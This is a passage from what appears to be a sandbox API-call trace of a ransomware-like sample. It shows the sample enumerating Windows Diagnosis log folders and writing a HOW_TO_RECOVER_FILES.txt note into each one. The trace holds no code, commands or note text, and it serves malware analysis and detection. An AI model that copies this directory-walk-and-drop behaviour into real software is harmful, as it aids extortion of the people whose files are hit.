nFileSizeLow=0x8e9)) returned 1 [0138.098] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa510) returned 1 [0138.098] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json", nBufferLength=0x105, lpBuffer=0x10f9ee0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json", lpFilePart=0x0) returned 0x47 [0138.098] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa400) returned 1 [0138.098] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\utc.cert.json" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\utc.cert.json"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.099] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f6df0) returned 1 [0138.100] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x52 [0138.100] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0138.100] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\DownloadedSettings\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\downloadedsettings\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0138.101] GetFileType (hFile=0x644) returned 0x1 [0138.101] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0138.101] GetFileType (hFile=0x644) returned 0x1 [0138.101] WriteFile (in: hFile=0x644, lpBuffer=0x392da38*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x392da38*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0138.102] CloseHandle (hObject=0x644) returned 1 [0138.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0138.102] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs", lpFilePart=0x0) returned 0x2e [0138.102] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x397388f9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0138.103] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x8e23c06e, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x397388f9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.103] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0xcd8d859b, ftLastWriteTime.dwHighDateTime=0x1d34734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger", cAlternateFileName="AUTOLO~1")) returned 1 [0138.103] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x397388f9, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x397388f9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x397388f9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0138.103] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScenarioShutdownLogger", cAlternateFileName="SCENAR~1")) returned 1 [0138.104] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb855a1cd, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShutdownLogger", cAlternateFileName="SHUTDO~1")) returned 1 [0138.104] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb855a1cd, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShutdownLogger", cAlternateFileName="SHUTDO~1")) returned 0 [0138.104] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0138.104] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0138.104] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0138.104] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs", lpFilePart=0x0) returned 0x2e [0138.104] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x397388f9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x397388f9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0138.104] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x397388f9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x397388f9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.105] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0xcd8d859b, ftLastWriteTime.dwHighDateTime=0x1d34734, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger", cAlternateFileName="AUTOLO~1")) returned 1 [0138.105] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x397388f9, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x397388f9, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x397388f9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0138.105] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ScenarioShutdownLogger", cAlternateFileName="SCENAR~1")) returned 1 [0138.105] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb855a1cd, ftLastAccessTime.dwHighDateTime=0x1d33839, ftLastWriteTime.dwLowDateTime=0xb855a1cd, ftLastWriteTime.dwHighDateTime=0x1d33839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShutdownLogger", cAlternateFileName="SHUTDO~1")) returned 1 [0138.105] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0138.105] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0138.105] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0138.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0138.106] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger", lpFilePart=0x0) returned 0x39 [0138.106] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0x39011899, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0138.106] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0x39011899, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.106] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd8d859b, ftCreationTime.dwHighDateTime=0x1d34734, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0xac487de2, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 1 [0138.106] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39011899, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x39011899, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39011899, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0138.106] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0138.106] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0138.107] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0138.107] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0138.107] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger", lpFilePart=0x0) returned 0x39 [0138.107] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x39011899, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39011899, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0138.107] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x39011899, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39011899, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.107] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd8d859b, ftCreationTime.dwHighDateTime=0x1d34734, ftLastAccessTime.dwLowDateTime=0xcd8d859b, ftLastAccessTime.dwHighDateTime=0x1d34734, ftLastWriteTime.dwLowDateTime=0xac487de2, ftLastWriteTime.dwHighDateTime=0x1d4d5d3, nFileSizeHigh=0x0, nFileSizeLow=0x30000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AutoLogger-Diagtrack-Listener.etl", cAlternateFileName="AUTOLO~1.ETL")) returned 1 [0138.107] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39011899, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x39011899, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39011899, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0138.107] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39011899, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x39011899, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39011899, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0138.107] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0138.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0138.108] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x52 [0138.108] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0138.108] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\AutoLogger\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\diagnosis\\etllogs\\autologger\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x644 [0138.109] GetFileType (hFile=0x644) returned 0x1 [0138.109] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0138.109] GetFileType (hFile=0x644) returned 0x1 [0138.109] WriteFile (in: hFile=0x644, lpBuffer=0x394e188*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x394e188*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0138.110] CloseHandle (hObject=0x644) returned 1 [0138.110] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0138.110] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger", lpFilePart=0x0) returned 0x45 [0138.110] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x390d05f0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0138.110] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd69f80c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x390d05f0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.110] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x390d05f0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x390d05f0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39712840, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0138.110] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0138.110] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0138.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0138.111] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0138.111] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger", lpFilePart=0x0) returned 0x45 [0138.111] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x390d05f0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x390d05f0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0138.111] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x390d05f0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x390d05f0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.111] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x390d05f0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x390d05f0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39712840, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0138.111] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x390d05f0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x390d05f0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x39712840, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0138.111] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0138.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0138.111] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0138.111] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Diagnosis\\ETLLogs\\ScenarioShutdownLogger\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All 